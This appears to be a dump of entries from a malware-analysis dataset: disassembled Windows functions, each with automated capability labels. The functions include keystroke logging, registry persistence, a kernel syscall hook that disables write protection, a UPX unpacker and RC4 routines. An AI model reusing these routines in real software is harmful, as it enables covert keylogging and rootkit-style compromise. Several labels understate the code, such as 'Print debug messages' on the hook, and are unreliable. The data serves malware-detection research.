joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404bcc
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebx
add esp, 0xffffffec
xor ebx, ebx
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 4]
push eax
push 0
push 0xf003f
push 0
push 0x404d40
push 0
push 0x404d5c
push 0x80000001
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
je 0x404c0e
mov eax, 0x11
call fcn.00404eec
jmp 0x404d38
cmp dword [esp + 0x10], 1
je 0x404c2b
cmp dword [esp + 0x10], 2
je 0x404c2b
mov eax, 0x11
call fcn.00404eec
jmp 0x404d38
mov dword [esp + 4], 4
mov dword [esp + 8], 4
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x404d78
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x404c65
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0x58
lea eax, [esp + 8]
push eax
mov eax, dword [0x408658]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x404d84
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x404ca5
cmp dword [esp + 0xc], 3
jae 0x404d2c
push 0x58
mov eax, dword [0x408658]
push eax
push 3
push 0
push 0x404d84
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
mov dword [esp + 4], 3
mov dword [esp + 8], 0x58
lea eax, [esp + 8]
push eax
mov eax, dword [0x408658]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x404d84
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x404d0a
mov eax, 0x11
call fcn.00404eec
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
jmp 0x404d38
mov dword [esp + 0xc], 3
push 4
lea eax, [esp + 0x10]
push eax
push 4
push 0
push 0x404d78
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
or ebx, 0xffffffff
mov eax, ebx
add esp, 0x14
pop ebx
ret

Function at 0x404d8c
Capabilities:
Set registry value

Disassembly:
push ebx
add esp, 0xfffffff8
xor ebx, ebx
lea eax, [esp + 4]
push eax
lea eax, [esp + 4]
push eax
push 0
push 0xf003f
push 0
push 0x404e2c
push 0
push 0x404e48
push 0x80000001
call sub.advapi32.dll_RegCreateKeyExA
test eax, eax
je 0x404dcb
mov eax, 0x11
call fcn.00404eec
jmp 0x404e25
cmp dword [esp + 4], 1
je 0x404de5
cmp dword [esp + 4], 2
je 0x404de5
mov eax, 0x11
call fcn.00404eec
jmp 0x404e25
push 0x58
mov eax, dword [0x408658]
push eax
push 3
push 0
push 0x404e64
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x404e19
mov eax, 0x11
call fcn.00404eec
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
jmp 0x404e25
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
or ebx, 0xffffffff
mov eax, ebx
pop ecx
pop edx
pop ebx
ret
Function at 0x4054f4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
or esi, 0xffffffff
xor ebx, ebx
mov eax, dword [0x408664]
add eax, 0x1c
cmp dword [eax], 4
jne 0x40552f
push 0x90
call sub.user32.dll_GetKeyState
test al, 1
jne 0x405521
xor edx, edx
mov eax, ebx
call fcn.00405424
jmp 0x40553a
mov edx, 2
mov eax, ebx
call fcn.00405424
jmp 0x40553a
inc ebx
add eax, 0x34
cmp ebx, 0x68
jne 0x405503
xor esi, esi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x405540
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
or esi, 0xffffffff
xor ebx, ebx
mov eax, dword [0x408664]
add eax, 0x1c
cmp dword [eax], 5
jne 0x40557b
push 0x91
call sub.user32.dll_GetKeyState
test al, 1
jne 0x40556d
xor edx, edx
mov eax, ebx
call fcn.00405424
jmp 0x405586
mov edx, 2
mov eax, ebx
call fcn.00405424
jmp 0x405586
inc ebx
add eax, 0x34
cmp ebx, 0x68
jne 0x40554f
xor esi, esi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x40558c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
or esi, 0xffffffff
xor ebx, ebx
mov eax, dword [0x408664]
add eax, 0x1c
cmp dword [eax], 6
jne 0x4055c4
push 0x14
call sub.user32.dll_GetKeyState
test al, 1
jne 0x4055b6
xor edx, edx
mov eax, ebx
call fcn.00405424
jmp 0x4055cf
mov edx, 2
mov eax, ebx
call fcn.00405424
jmp 0x4055cf
inc ebx
add eax, 0x34
cmp ebx, 0x68
jne 0x40559b
xor esi, esi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x405e80
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebx
xor ebx, ebx
push 0
mov eax, dword [0x409700]
push eax
mov eax, 0x405ee4
push eax
push 0xd
call sub.user32.dll_SetWindowsHookExA
mov dword [0x408654], eax
cmp dword [0x408654], 0
jne 0x405eb2
mov eax, 0xe
call fcn.00404eec
jmp 0x405eb5
or ebx, 0xffffffff
mov eax, ebx
pop ebx
ret
Function at 0x103bc
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
push edi
lea eax, [ebp - 8]
push eax
push 0xa
lea eax, [ebp - 0x1c]
push eax
push 0xb
call esi
push 0x206b6444
push dword [ebp - 8]
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edi, eax
test edi, edi
je 0x1045a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 0xb
call esi
test eax, eax
jne 0x10451
mov eax, dword [edi]
and dword [ebp - 0xc], 0
test eax, eax
mov dword [ebp - 0x10], eax
lea ebx, [edi + 4]
jbe 0x10451
lea eax, [ebx + 0x1c]
mov dword [ebp - 4], eax
mov esi, 0x11c
push 0x5c
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_strrchr]
test eax, eax
pop ecx
pop ecx
jne 0x10430
mov eax, dword [ebp - 4]
jmp 0x10431
inc eax
push dword [ebp + 8]
push eax
call dword [sym.imp.ntoskrnl.exe__stricmp]
test eax, eax
pop ecx
pop ecx
je 0x10463
add dword [ebp - 4], esi
add ebx, esi
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jb 0x1041a
push 0
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
mov ebx, dword [ebx + 8]
push 0
push edi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, ebx
jmp 0x1045c

Function at 0x104e4
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [sym.imp.ntoskrnl.exe_KeNumberProcessors]
push ebx
push esi
push edi
movsx edi, byte [eax]
xor esi, esi
push edi
call sub.ntoskrnl.exe_KeGetCurrentThread
push eax
call dword [sym.imp.ntoskrnl.exe_KeSetAffinityThread]
mov cl, 0x1f
call dword [sym.imp.HAL.dll_KfRaiseIrql]
mov bl, al
sidt [ebp - 8]
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 6]
shl eax, 0x10
or eax, ecx
movzx ecx, word [eax + 0xe]
movzx edx, word [eax + 8]
shl ecx, 0x10
or ecx, edx
mov dword [esi + 0x11490], ecx
movzx ecx, word [eax + 0x1e]
movzx eax, word [eax + 0x18]
shl ecx, 0x10
or ecx, eax
push 0x11490
push 0x104a4
mov dword [esi + 0x11470], ecx
call sub.ntoskrnl.exe_DbgPrint
push 0x11470
push 0x104c4
call sub.ntoskrnl.exe_DbgPrint
add esp, 0x10
mov cl, bl
call dword [sym.imp.HAL.dll_KfLowerIrql]
dec edi
add esi, 4
test edi, edi
jne 0x104f6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x105ba
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [sym.imp.ntoskrnl.exe_KeNumberProcessors]
push ebx
push esi
push edi
movsx edi, byte [eax]
xor esi, esi
push edi
call sub.ntoskrnl.exe_KeGetCurrentThread
push eax
call dword [sym.imp.ntoskrnl.exe_KeSetAffinityThread]
mov cl, 0x1f
call dword [sym.imp.HAL.dll_KfRaiseIrql]
sidt [ebp - 8]
movzx edx, word [ebp - 4]
movzx ecx, word [ebp - 6]
shl edx, 0x10
or edx, ecx
movzx ecx, word [edx + 0xe]
movzx ebx, word [edx + 8]
shl ecx, 0x10
or ecx, ebx
mov dword [esi + 0x11480], ecx
movzx ecx, word [edx + 0x1e]
movzx edx, word [edx + 0x18]
shl ecx, 0x10
or ecx, edx
mov dword [esi + 0x11460], ecx
mov cl, al
call dword [sym.imp.HAL.dll_KfLowerIrql]
dec edi
add esi, 4
test edi, edi
jne 0x105cc
push 0x11480
push 0x1057a
call sub.ntoskrnl.exe_DbgPrint
push 0x11460
push 0x1059a
call sub.ntoskrnl.exe_DbgPrint
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret

Function at 0x11acf
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov byte [ebp - 8], 0xe9
xor ebx, ebx
mov ecx, 0x176
rdmsr
mov dword [0x11458], eax
mov eax, dword [0x11458]
lea ecx, [eax + 0xff]
jmp 0x11b0e
cmp byte [eax], 0x2b
jne 0x11b0d
cmp byte [eax + 1], 0xe1
jne 0x11b0d
cmp byte [eax + 2], 0xc1
jne 0x11b0d
cmp byte [eax + 3], 0xe9
je 0x11b14
inc eax
cmp eax, ecx
jb 0x11af6
jmp 0x11b26
push eax
push 0x11ac0
mov dword [0x11450], eax
call sub.ntoskrnl.exe_DbgPrint
pop ecx
pop ecx
mov eax, dword [0x11450]
push eax
call fcn.000119fc
add ebx, eax
mov eax, dword [0x11450]
add eax, ebx
cmp ebx, 5
jl 0x11b2b
push 0x206b6444
push 0x14
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov edx, dword [0x11450]
mov dword [0x11454], eax
mov esi, edx
mov edi, 0x11448
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, edx
sub ecx, eax
sub ecx, 5
mov dword [ebp - 7], ecx
mov edi, eax
mov ecx, ebx
mov eax, ecx
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x11454]
lea edi, [eax + ebx]
lea esi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov eax, 0x11a14
sub eax, dword [0x11450]
sub eax, 5
mov dword [0x11411], eax
cli
mov eax, cr0
and eax, 0xfffeffff
mov cr0, eax
mov edi, dword [0x11450]
mov esi, 0x11410
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov eax, cr0
or eax, 0x10000
mov cr0, eax
sti
pop edi
pop esi
pop ebx
leave
ret
Function at 0x11c5a
Capabilities:
Print debug messages

Disassembly:
push ebx
mov ebx, dword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
push esi
push edi
mov edi, dword [esp + 0x14]
xor eax, eax
xor esi, esi
cmp byte [esi + edi], 0xe8
jne 0x11c8b
push 0x11c52
call sub.ntoskrnl.exe_DbgPrint
mov eax, ebx
sub eax, esi
sub eax, edi
sub eax, 5
cmp eax, dword [esi + edi + 1]
pop ecx
je 0x11c96
inc esi
cmp esi, 0x23e
jl 0x11c6b
jmp 0x11c99
lea eax, [esi + edi]
test eax, eax
je 0x11cd1
mov ecx, dword [esp + 0x10]
lea esi, [eax - 6]
mov edi, ecx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea esi, [eax - 6]
push 6
mov eax, esi
sub ebx, ecx
sub eax, ecx
push esi
sub ebx, 0xb
sub eax, 5
push ecx
mov byte [ecx + 6], 0xe8
mov dword [ecx + 7], ebx
mov byte [ecx + 0xb], 0xe9
mov dword [ecx + 0xc], eax
call fcn.00010992
mov eax, esi
pop edi
pop esi
pop ebx
ret 8

Function at 0x11e46
Capabilities:
Create device object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
push section.INIT
lea eax, [ebp - 0xc]
push eax
call edi
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x22
lea eax, [ebp - 0xc]
push eax
push 0x30
push dword [ebp + 8]
call dword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
jl 0x11ed2
mov eax, dword [ebp - 4]
or dword [eax + 0x1c], 0x10
mov eax, dword [ebp - 4]
push esi
mov esi, dword [eax + 0x28]
mov dword [esi], eax
mov eax, dword [ebp - 0xc]
mov dword [esi + 4], eax
mov eax, dword [ebp - 8]
mov dword [esi + 8], eax
push 0x11e20
lea eax, [ebp - 0x14]
push eax
call edi
mov eax, dword [ebp - 0x14]
mov dword [esi + 0xc], eax
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x10], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov esi, eax
test esi, esi
jge 0x11ecf
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
mov eax, esi
jmp 0x11ed1
xor eax, eax
pop esi
pop edi
leave
ret 4
Function at 0x532090
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xdb000]
push edi
jmp 0x5320aa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5320b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320a0
mov eax, 1
add ebx, ebx
jne 0x5320c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5320d4
jne 0x5320f3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320f3
dec eax
add ebx, ebx
jne 0x5320e0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5320b8
add ebx, ebx
jne 0x5320ef
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x532145
xor ecx, ecx
sub eax, 3
jb 0x53210b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53217a
sar eax, 1
mov ebp, eax
jmp 0x532116
add ebx, ebx
jne 0x532116
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320e4
inc ecx
add ebx, ebx
jne 0x532124
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320e4
add ebx, ebx
jne 0x532131
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x532126
jne 0x532142
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x532126
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x532164
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x532156
jmp 0x5320a6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x532164
add edi, ecx
jmp 0x5320a6
pop esi
mov edi, esi
mov ecx, 0x3ea9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x532182
cmp byte [edi], 0x11
jne 0x532182
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x532187
lea edi, [esi + 0x12b000]
mov eax, dword [edi]
or eax, eax
je 0x5321ff
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18ae10]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x18af8c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5321b4
mov ecx, edi
jns 0x5321e3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x18af90]
or eax, eax
je 0x5321f9
mov dword [ebx], eax
add ebx, 4
jmp 0x5321d1
call dword [esi + 0x18afa0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x532230
cmp al, 0xef
ja 0x532223
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x532205
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x532212
mov ebp, dword [esi + 0x18af94]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x532264
sub esp, 0xffffff80
jmp 0x42800a
Function at 0x417d80
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b329b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004a470e
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x417e02
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004a1e5f
mov eax, dword [eax]
push 0x4d9220
push eax
call fcn.00493804
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004a4999
test bl, bl
je 0x417e02
push 0x4d9220
lea ecx, [esp + 0xc]
call fcn.004a4d29
push 0x4dcd8c
lea ecx, [esp + 0xc]
call fcn.004a4d29
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x417e3e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004a4999
jmp 0x417f09
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x417ec2
lea edx, [esp + 0x7c]
push 0x4dcd88
push edx
call fcn.00493804
add esp, 8
test eax, eax
je 0x417ec2
lea eax, [esp + 0x7c]
push 0x4dcd84
push eax
call fcn.00493804
add esp, 8
test eax, eax
je 0x417ec2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x417e52
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004a4999
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4
Function at 0x418700
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4b331b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4e5554]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x418838
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x418766
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a4999
xor eax, eax
jmp 0x4188af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004a4ad6
push esi
lea ecx, [esp + 0xc]
call fcn.004a4d65
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x4dcdc4
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41888d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push 0x4dcdbc
push closesocket
call fcn.004814d0
test eax, eax
jne 0x41888d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push 0x4dcda8
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.004814d0
test eax, eax
jne 0x41888d
lea eax, [esp + 0x14]
push 0x4dcda0
push eax
call fcn.00494840
mov esi, eax
add esp, 8
test esi, esi
jne 0x41886c
lea ecx, [esp + 0x14]
push 0x4dcd9c
push ecx
call fcn.004947c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x41886c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41886f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004a4a86
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41877e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004a4999
xor eax, eax
jmp 0x4188af
mov byte [esi], 0
push 0x4dcd98
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004a4999
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x429310
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x42937e
cmp si, 0x69
ja 0x42937e
add esi, 0xffd0
cmp si, 0x11
je 0x42934e
push 0x11
call edi
test ax, ax
jge 0x42934e
or esi, 0x2000
cmp si, 0x10
je 0x429363
push 0x10
call edi
test ax, ax
jge 0x429363
or esi, 0x4000
cmp si, 0x12
je 0x429378
push 0x12
call edi
test ax, ax
jge 0x429378
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x42938b
mov esi, 0xbd
jmp 0x42933f
cmp si, 0x6e
jne 0x429398
mov esi, 0xbe
jmp 0x42933f
cmp si, 0x6f
jne 0x429339
mov esi, 0xbf
jmp 0x42933f

Function at 0x42ab40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4f6020]
xor edx, edx
cmp eax, edx
jne 0x42ab66
xor eax, eax
mov byte [eax + 0x4f5f20], al
inc eax
cmp eax, 0x100
jl 0x42ab4e
mov dword [0x4f6020], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4f5f20
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x42abf7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x42abca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x42ab98
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x42ac70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x42acc3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x42acaa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x431700
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x431898
cmp ebp, ebx
jle 0x431898
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x43175e
dec eax
or eax, 0xfffffff8
inc eax
je 0x431765
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x431774
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x43177b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.004a46da
add esp, 4
cmp eax, ebx
je 0x43179c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.004a46da
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x43188e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x431875
mov al, byte [edx]
cmp al, 0xc0
jbe 0x431861
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x431856
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x431864
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x431864
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x431800
mov eax, dword [esp + 0x1c]
